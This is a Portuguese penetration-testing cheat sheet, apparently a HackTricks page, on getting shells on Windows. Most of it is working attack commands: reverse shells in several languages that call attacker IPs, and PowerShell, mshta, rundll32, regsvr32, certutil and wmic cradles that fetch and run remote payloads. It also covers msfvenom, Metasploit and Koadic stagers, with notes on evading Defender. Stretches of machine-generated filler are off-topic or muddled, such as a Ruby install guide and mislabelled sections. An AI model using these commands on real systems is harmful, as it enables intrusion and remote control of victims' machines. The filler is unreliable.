hacktricks/generic-methodologies-and-resources/shells/windows.md

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# Shells - Windows
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## Lolbas
A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows, assim como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para linux.\
Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (abusados) para executar algum tipo de ação inesperada, como **executar código arbitrário**.
## NC
```bash
nc.exe -e cmd.exe <Attacker_IP> <PORT>
```
## SBD
**sbd** é um clone do Netcat, projetado para ser portátil e oferecer criptografia forte. Ele roda em sistemas operacionais semelhantes ao Unix e no Microsoft Win32. O sbd possui recursos de criptografia AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), execução de programas (opção -e), escolha da porta de origem, reconexão contínua com atraso e outros recursos interessantes. O sbd suporta apenas comunicação TCP/IP. O sbd.exe (parte da distribuição Kali Linux: /usr/share/windows-resources/sbd/sbd.exe) pode ser enviado para um computador com Windows como uma alternativa ao Netcat.
## Python
```bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
Perl é uma linguagem de programação de script de alto nível e interpretada. É amplamente utilizada para automação de tarefas, processamento de texto e desenvolvimento de aplicativos web. O Perl possui uma sintaxe flexível e poderosa, o que o torna uma escolha popular entre os hackers.
### Shells Perl
Existem várias shells Perl disponíveis para uso durante um teste de penetração. Essas shells fornecem uma interface interativa para executar comandos no sistema alvo. Aqui estão algumas shells Perl comumente usadas:
#### 1. Perl Reverse Shell
A Perl Reverse Shell é uma shell que se conecta a um servidor remoto e permite ao hacker executar comandos no sistema alvo. Ela é útil para estabelecer uma conexão reversa e obter acesso persistente ao sistema.
#### 2. Perl Bind Shell
A Perl Bind Shell é uma shell que escuta em uma porta específica no sistema alvo e aguarda uma conexão de um hacker. Uma vez conectado, o hacker pode executar comandos no sistema alvo. Essa shell é útil quando o sistema alvo está atrás de um firewall ou não tem acesso direto à Internet.
### Exemplo de Uso
Aqui está um exemplo de como usar a Perl Reverse Shell:
```perl
use Socket;
use FileHandle;
$ip = "192.168.0.1";
$port = 4444;
$proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($ip)));
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("/bin/sh -i");
```
Neste exemplo, o hacker especifica o endereço IP do servidor remoto e a porta na qual deseja se conectar. Em seguida, a shell estabelece uma conexão com o servidor remoto e redireciona as entradas e saídas padrão para essa conexão. Por fim, o hacker pode executar comandos no sistema alvo usando a shell.
### Considerações Finais
As shells Perl são ferramentas poderosas para hackers durante um teste de penetração. Elas permitem a execução de comandos no sistema alvo e podem ser usadas para obter acesso persistente. No entanto, é importante lembrar que o uso de shells Perl para fins maliciosos é ilegal e antiético. Essas técnicas devem ser usadas apenas para fins educacionais e autorizados.
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
Ruby é uma linguagem de programação dinâmica, orientada a objetos e de código aberto. É conhecida por sua sintaxe simples e expressiva, o que a torna uma escolha popular entre os desenvolvedores. Ruby é frequentemente usado para desenvolvimento web, automação de tarefas e scripting.
### Instalação do Ruby
Para começar a usar o Ruby, você precisa instalá-lo em seu sistema. Aqui estão as etapas para instalar o Ruby em um sistema Windows:
1. Baixe o instalador do Ruby para Windows no site oficial do Ruby (https://www.ruby-lang.org/pt/downloads/).
2. Execute o instalador e siga as instruções na tela.
3. Selecione a opção "Adicionar Ruby ao PATH" durante a instalação para que o Ruby possa ser executado a partir de qualquer diretório no prompt de comando.
4. Após a conclusão da instalação, abra o prompt de comando e digite `ruby -v` para verificar se o Ruby foi instalado corretamente. Você deve ver a versão do Ruby instalada.
### Executando um script Ruby
Depois de instalar o Ruby, você pode executar scripts Ruby usando o interpretador de linha de comando. Siga estas etapas para executar um script Ruby:
1. Crie um novo arquivo com a extensão `.rb`, por exemplo, `meu_script.rb`.
2. Abra o arquivo em um editor de texto e escreva seu código Ruby.
3. Salve o arquivo.
4. Abra o prompt de comando e navegue até o diretório onde o arquivo `.rb` está localizado.
5. Digite `ruby meu_script.rb` e pressione Enter para executar o script.
### Exemplo de script Ruby
Aqui está um exemplo simples de um script Ruby que exibe uma mensagem na tela:
```ruby
puts "Olá, mundo!"
```
Salve o código acima em um arquivo chamado `meu_script.rb` e execute-o usando o comando `ruby meu_script.rb`. Você verá a mensagem "Olá, mundo!" impressa no prompt de comando.
### Conclusão
Ruby é uma linguagem de programação poderosa e versátil que pode ser usada para uma variedade de tarefas. Com a instalação correta e o conhecimento básico da sintaxe Ruby, você pode começar a escrever seus próprios scripts e explorar as possibilidades dessa linguagem.
```bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## Lua
Lua é uma linguagem de programação leve e poderosa que é frequentemente usada para scripting em jogos e aplicativos embutidos. É conhecida por sua simplicidade, eficiência e facilidade de integração com outras linguagens.
### Introdução
Lua é uma linguagem interpretada, o que significa que o código Lua é executado por um interpretador em vez de ser compilado em código de máquina. Isso torna o desenvolvimento e a depuração mais rápidos e flexíveis.
### Características
- **Simplicidade**: Lua possui uma sintaxe simples e elegante, o que a torna fácil de aprender e usar.
- **Eficiência**: Lua é projetada para ser rápida e eficiente, com um tempo de execução leve e um gerenciamento eficiente de memória.
- **Extensibilidade**: Lua pode ser estendida com bibliotecas escritas em outras linguagens, como C e C++, permitindo a integração com sistemas existentes.
- **Portabilidade**: Lua é altamente portátil e pode ser executada em uma ampla variedade de plataformas, incluindo Windows, Linux e macOS.
- **Embeddability**: Lua pode ser facilmente incorporada em outros aplicativos, permitindo que eles sejam estendidos com scripts Lua.
### Uso em Hacking
Lua é frequentemente usada em hacking para automatizar tarefas e criar scripts personalizados. Sua simplicidade e facilidade de integração com outras linguagens a tornam uma escolha popular entre os hackers.
Além disso, Lua é amplamente suportada por várias ferramentas de hacking e frameworks, o que facilita sua utilização em diferentes cenários de hacking.
### Conclusão
Lua é uma linguagem de programação poderosa e versátil que pode ser usada para uma variedade de finalidades, incluindo hacking. Sua simplicidade, eficiência e extensibilidade a tornam uma escolha popular entre os hackers. Se você está interessado em aprender Lua, existem muitos recursos disponíveis online para ajudá-lo a começar.
```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## OpenSSH
Atacante (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
# Shells Windows
## Introdução
Um shell é um programa que permite aos usuários interagir com o sistema operacional. No contexto de hacking, um shell é usado para obter acesso remoto a um sistema alvo. Existem várias técnicas e recursos disponíveis para obter um shell em sistemas Windows.
## Técnicas Genéricas
### Reverse Shell
Um reverse shell é uma técnica em que o atacante cria uma conexão de rede reversa com o sistema alvo. Isso permite que o atacante obtenha um shell remoto no sistema alvo. Existem várias ferramentas disponíveis para criar um reverse shell em sistemas Windows, como o Netcat e o Metasploit.
### Web Shells
As web shells são scripts ou programas que são implantados em um servidor web comprometido. Eles permitem que o atacante execute comandos no servidor comprometido por meio de uma interface web. Existem várias web shells disponíveis para sistemas Windows, como o WSO Shell e o China Chopper.
### Exploits
Os exploits são vulnerabilidades conhecidas em sistemas operacionais ou aplicativos que podem ser exploradas para obter acesso não autorizado. Existem vários exploits disponíveis para sistemas Windows, como o EternalBlue, que foi usado no ataque WannaCry.
## Recursos
### Metasploit Framework
O Metasploit Framework é uma ferramenta de código aberto amplamente utilizada para testes de penetração. Ele fornece uma ampla gama de módulos e exploits para explorar vulnerabilidades em sistemas Windows e obter acesso remoto.
### PowerShell Empire
O PowerShell Empire é uma estrutura de pós-exploração de código aberto que permite aos hackers manter o acesso persistente a sistemas Windows comprometidos. Ele fornece uma variedade de módulos e agentes para explorar e controlar sistemas Windows.
### Cobalt Strike
O Cobalt Strike é uma plataforma comercial de testes de penetração que oferece recursos avançados de pós-exploração. Ele permite que os hackers realizem ataques direcionados e mantenham o acesso persistente a sistemas Windows comprometidos.
## Conclusão
Obter um shell em sistemas Windows é uma etapa crucial no processo de hacking. Existem várias técnicas e recursos disponíveis para obter acesso remoto a sistemas Windows, como reverse shells, web shells e exploits. Ferramentas como o Metasploit Framework, o PowerShell Empire e o Cobalt Strike podem ser usadas para facilitar esse processo. É importante lembrar que o hacking é ilegal sem permissão adequada e deve ser realizado apenas para fins éticos de teste de penetração.
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## Powershell
O PowerShell é uma poderosa ferramenta de linha de comando e linguagem de script desenvolvida pela Microsoft. Ele foi projetado para automatizar tarefas administrativas e fornecer uma interface de linha de comando mais avançada para o sistema operacional Windows.
### Introdução ao Powershell
O PowerShell é baseado no framework .NET e usa uma sintaxe semelhante ao C#. Ele permite que os administradores executem comandos e scripts para gerenciar e automatizar tarefas no sistema operacional Windows.
### Benefícios do Powershell
O PowerShell oferece vários benefícios para os administradores de sistemas:
- Automatização: o PowerShell permite automatizar tarefas repetitivas, economizando tempo e esforço.
- Gerenciamento remoto: o PowerShell pode ser usado para gerenciar sistemas remotos, permitindo que os administradores executem comandos em vários computadores de uma só vez.
- Extensibilidade: o PowerShell é altamente extensível, permitindo que os administradores criem seus próprios módulos e scripts personalizados.
- Integração com outras tecnologias: o PowerShell pode ser integrado com outras tecnologias, como o Active Directory, o Exchange Server e o Azure, facilitando a administração desses sistemas.
### Usando o Powershell para hacking
O PowerShell também pode ser usado para fins maliciosos, como parte de um ataque cibernético. Os hackers podem explorar as funcionalidades avançadas do PowerShell para executar comandos maliciosos, obter informações confidenciais e comprometer sistemas.
Alguns exemplos de técnicas de hacking usando o PowerShell incluem:
- Execução remota de comandos: os hackers podem usar o PowerShell para executar comandos em sistemas remotos, permitindo que eles controlem esses sistemas de forma remota.
- Escalonamento de privilégios: o PowerShell pode ser usado para explorar vulnerabilidades e obter privilégios elevados em um sistema comprometido.
- Exfiltração de dados: o PowerShell pode ser usado para extrair dados confidenciais de um sistema comprometido e enviá-los para um servidor controlado pelo hacker.
### Protegendo-se contra ataques do PowerShell
Para se proteger contra ataques do PowerShell, é importante implementar as seguintes práticas de segurança:
- Restringir o uso do PowerShell: é recomendável restringir o uso do PowerShell apenas a usuários confiáveis e autorizados.
- Monitorar o uso do PowerShell: é importante monitorar o uso do PowerShell em sua rede para detectar atividades suspeitas.
- Atualizar regularmente: mantenha o PowerShell e outros softwares relacionados atualizados para se beneficiar das correções de segurança mais recentes.
- Implementar políticas de segurança: implemente políticas de segurança que limitem o acesso e o uso do PowerShell em sua organização.
- Conscientização do usuário: eduque os usuários sobre os riscos associados ao uso do PowerShell e a importância de seguir as práticas de segurança recomendadas.
O PowerShell é uma ferramenta poderosa que pode ser usada tanto para fins legítimos quanto maliciosos. Ao entender suas funcionalidades e implementar práticas de segurança adequadas, você pode aproveitar ao máximo o PowerShell enquanto protege seus sistemas contra ataques.
```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Processo realizando chamada de rede: **powershell.exe**\
Carga gravada no disco: **NÃO** (_pelo menos em nenhum lugar que eu pudesse encontrar usando o procmon!_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
Processo realizando chamada de rede: **svchost.exe**\
Carga gravada no disco: **Cache local do cliente WebDAV**
**Em uma linha:**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
O comando `mshta` é uma ferramenta do Windows que permite executar arquivos HTML como aplicativos. Isso pode ser útil para executar scripts maliciosos ou explorar vulnerabilidades no sistema. O `mshta` pode ser usado para executar comandos do PowerShell, permitindo assim a execução de scripts maliciosos sem a necessidade de um arquivo .ps1.
### Sintaxe
```
mshta vbscript:Close(Execute("GetObject(""script:https://URL"")"))
```
### Explicação
O comando `mshta` é usado para executar um script VBS (Visual Basic Script) embutido. O script VBS é responsável por executar o comando `GetObject` para obter o script PowerShell a partir de uma URL especificada. Em seguida, o comando `Execute` é usado para executar o script PowerShell obtido.
### Exemplo
```
mshta vbscript:Close(Execute("GetObject(""script:https://example.com/malicious_script.ps1"")"))
```
Neste exemplo, o `mshta` é usado para executar um script PowerShell malicioso hospedado em `https://example.com/malicious_script.ps1`. O script será baixado e executado no sistema alvo.
**Obtenha mais informações sobre diferentes Shells do Powershell no final deste documento**
```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
Processo realizando chamada de rede: **mshta.exe**\
Carga gravada no disco: **cache local do IE**
```bash
mshta http://webserver/payload.hta
```
Processo realizando chamada de rede: **mshta.exe**\
Carga gravada no disco: **cache local do IE**
```bash
mshta \\webdavserver\folder\payload.hta
```
Processo realizando chamada de rede: **svchost.exe**\
Carga gravada no disco: **Cache local do cliente WebDAV**
#### **Exemplo de shell reverso hta-psh (usa hta para baixar e executar backdoor PS)**
```markup
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**Você pode baixar e executar facilmente um zombie Koadic usando o stager hta**
#### Exemplo hta
```markup
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
```
#### **mshta - sct**
O comando `mshta` é uma ferramenta do Windows que permite executar arquivos HTML como aplicativos. Essa funcionalidade pode ser explorada para executar scripts maliciosos em um alvo.
Uma técnica comum é usar um arquivo de script `.sct` para executar comandos maliciosos. O arquivo `.sct` é um arquivo de script do Windows que pode ser executado pelo `mshta`.
Para usar essa técnica, primeiro é necessário criar um arquivo `.sct` contendo o código malicioso. Em seguida, o comando `mshta` é usado para executar o arquivo `.sct`.
Aqui está um exemplo de como usar o `mshta` com um arquivo `.sct`:
```
mshta.exe javascript:a=new%20ActiveXObject("WScript.Shell");a.run("cmd.exe%20/c%20calc.exe");window.close();
```
Neste exemplo, o código malicioso executa o comando `cmd.exe /c calc.exe`, que abre a calculadora do Windows.
É importante observar que essa técnica pode ser detectada por soluções de segurança, portanto, é recomendável usá-la com cautela e apenas em ambientes controlados.
```markup
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
```
#### **Mshta - Metasploit**
O comando `mshta` é uma ferramenta do Windows que permite executar arquivos HTML como aplicativos. No contexto de um ataque cibernético, o `mshta` pode ser usado para executar payloads maliciosos em um sistema alvo.
O Metasploit Framework, uma popular plataforma de testes de penetração, possui um módulo chamado `exploit/windows/browser/mshta` que permite explorar vulnerabilidades no `mshta` para obter acesso não autorizado a um sistema.
Para usar o módulo `exploit/windows/browser/mshta` no Metasploit, você precisa configurar as opções necessárias, como o endereço IP do alvo e o caminho para o payload malicioso. Depois de configurar as opções, você pode executar o exploit e, se bem-sucedido, obter acesso ao sistema alvo.
É importante ressaltar que o uso de ferramentas como o `mshta` para fins maliciosos é ilegal e antiético. Este conhecimento deve ser usado apenas para fins educacionais e de segurança, com o consentimento explícito do proprietário do sistema alvo.
```bash
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
```
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**Detectado pelo defensor**
## **Rundll32**
[**Exemplo de DLL hello world**](https://github.com/carterjones/hello-world-dll)
```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
Processo realizando chamada de rede: **svchost.exe**\
Carga gravada no disco: **Cache local do cliente WebDAV**
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
Processo realizando chamada de rede: **rundll32.exe**\
Carga gravada no disco: **cache local do IE**
**Detectado pelo defensor**
**Rundll32 - sct**
```bash
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
```
#### **Rundll32 - Metasploit**
O comando `rundll32` é uma ferramenta do Windows que permite executar funções em bibliotecas de vínculo dinâmico (DLLs). No contexto do Metasploit, podemos usar o `rundll32` para carregar uma DLL maliciosa e executar um payload.
Aqui está um exemplo de como usar o `rundll32` com o Metasploit:
1. Crie um payload do Metasploit usando o msfvenom:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<seu endereço IP> LPORT=<sua porta> -f dll > payload.dll
```
2. Inicie um listener do Metasploit para receber a conexão reversa:
```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <seu endereço IP>
set LPORT <sua porta>
exploit
```
3. No computador de destino, execute o seguinte comando para carregar a DLL maliciosa e executar o payload:
```
rundll32 payload.dll, <nome da função>
```
Certifique-se de substituir `<nome da função>` pelo nome da função exportada pela DLL maliciosa.
O `rundll32` é uma ferramenta poderosa que pode ser usada para executar payloads maliciosos no Windows. No entanto, é importante lembrar que o uso indevido dessa ferramenta é ilegal e pode resultar em consequências legais graves.
```bash
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
```
**Rundll32 - Koadic**
Rundll32 is a Windows utility that allows the execution of DLL files as functions. This can be leveraged by hackers to load malicious DLLs and execute their code. One popular tool that utilizes this technique is Koadic.
Koadic is a post-exploitation RAT (Remote Access Trojan) that provides a command and control (C2) framework for Windows systems. It allows hackers to gain remote access to compromised machines and perform various malicious activities.
To use Koadic, the attacker first needs to generate a malicious DLL payload using the Koadic framework. This payload is then loaded using the Rundll32 utility, which executes the DLL's entry point function. Once executed, the malicious code establishes a connection with the attacker's C2 server, enabling them to control the compromised system remotely.
This technique can be used for various purposes, such as stealing sensitive information, executing commands, or even pivoting to other systems within the network. It is important for system administrators to be aware of this technique and take appropriate measures to prevent its exploitation.
```bash
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
```
## Regsvr32
O comando `regsvr32` é uma ferramenta do Windows que permite registrar e desregistrar bibliotecas de vínculo dinâmico (DLLs) e controles ActiveX no sistema operacional. Essa ferramenta é comumente usada por hackers para executar código malicioso em um sistema comprometido.
### Uso básico
Para registrar uma DLL usando o `regsvr32`, você pode usar o seguinte comando:
```
regsvr32 <caminho_para_dll>
```
Para desregistrar uma DLL, você pode usar o seguinte comando:
```
regsvr32 /u <caminho_para_dll>
```
### Uso malicioso
Os hackers podem explorar o `regsvr32` para executar código malicioso em um sistema comprometido. Eles podem criar uma DLL maliciosa e registrá-la usando o `regsvr32`. Quando a DLL é registrada, o código malicioso é executado automaticamente sempre que o sistema é reiniciado.
### Detecção e prevenção
Para detectar atividades maliciosas relacionadas ao `regsvr32`, é importante monitorar o registro do sistema em busca de alterações suspeitas. Além disso, é recomendável manter o sistema operacional e os aplicativos atualizados para evitar vulnerabilidades conhecidas que possam ser exploradas por hackers.
Para prevenir o uso malicioso do `regsvr32`, é importante restringir o acesso ao comando e garantir que apenas usuários confiáveis tenham permissão para registrarem DLLs no sistema. Além disso, é recomendável utilizar soluções de segurança, como antivírus e firewalls, para detectar e bloquear atividades maliciosas.
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
Processo realizando chamada de rede: **regsvr32.exe**\
Carga gravada no disco: **cache local do IE**
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
Processo realizando chamada de rede: **svchost.exe**\
Carga gravada no disco: **Cache local do cliente WebDAV**
**Detectado pelo Defender**
#### Regsvr32 -sct
```markup
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
```
#### **Regsvr32 - Metasploit**
O comando `regsvr32` é uma ferramenta do Windows que permite registrar e desregistrar bibliotecas de vínculo dinâmico (DLLs) e controles ActiveX no sistema operacional. No entanto, essa ferramenta também pode ser explorada por hackers para executar código malicioso no sistema alvo.
O Metasploit Framework, uma das ferramentas mais populares para testes de penetração, possui um módulo chamado `exploit/windows/local/regsvr32_applocker_bypass` que aproveita uma vulnerabilidade no `regsvr32` para contornar as restrições do AppLocker e executar payloads arbitrários.
Esse módulo permite que um invasor execute comandos arbitrários no contexto do usuário atual, o que pode levar à execução remota de código e controle total do sistema comprometido.
Para usar esse módulo, é necessário ter acesso ao Metasploit Framework e conhecimento sobre como configurar e executar um payload específico.
```bash
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**Você pode baixar e executar facilmente um zombie Koadic usando o stager regsvr**
## Certutil
Baixe um B64dll, decodifique-o e execute-o.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
Baixe um arquivo B64exe, decodifique-o e execute-o.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**Detectado pelo defensor**
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
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## **Cscript/Wscript**
```bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
```
**Cscript - Metasploit**
O Cscript é uma ferramenta de linha de comando que permite a execução de scripts em linguagem VBScript. O Metasploit, por outro lado, é um framework de teste de penetração amplamente utilizado. Neste contexto, o Cscript pode ser usado em conjunto com o Metasploit para executar scripts VBScript maliciosos em sistemas Windows vulneráveis.
Para usar o Cscript com o Metasploit, siga as etapas abaixo:
1. Crie um script VBScript malicioso que execute a carga útil desejada. Por exemplo, um script que execute um shell reverso.
2. Abra o console do Metasploit e inicie o módulo `exploit/multi/script/web_delivery`.
3. Configure as opções necessárias, como o payload a ser entregue e o endereço IP do ouvinte.
4. Execute o módulo e aguarde a geração do script de entrega.
5. Copie o script gerado e cole-o em um arquivo de texto.
6. Salve o arquivo com a extensão `.vbs`.
7. No prompt de comando do Windows, navegue até o diretório onde o arquivo `.vbs` foi salvo.
8. Execute o script usando o comando `cscript nome_do_arquivo.vbs`.
9. Se tudo correr conforme o esperado, uma conexão reversa será estabelecida entre o sistema alvo e o atacante.
Lembre-se de que o uso de ferramentas e técnicas de hacking é estritamente regulamentado e só deve ser realizado com permissão legal e ética.
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
**Detectado pelo defensor**
## PS-Bat
```bash
\\webdavserver\folder\batchfile.bat
```
Processo realizando chamada de rede: **svchost.exe**\
Carga gravada no disco: **Cache local do cliente WebDAV**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
```
```bash
\\10.8.0.3\kali\shell.bat
```
**Detectado pelo defensor**
## **MSIExec**
Atacante
```
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
Vítima:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
**Detectado**
## **Wmic**
```
wmic os get /format:"https://webserver/payload.xsl"
```
Processo realizando chamada de rede: **wmic.exe**\
Carga gravada no disco: **cache local do IE**
Exemplo de arquivo xsl:
```
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>
```
Extraído [aqui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)
**Não detectado**
**Você pode baixar e executar facilmente um zombie Koadic usando o stager wmic**
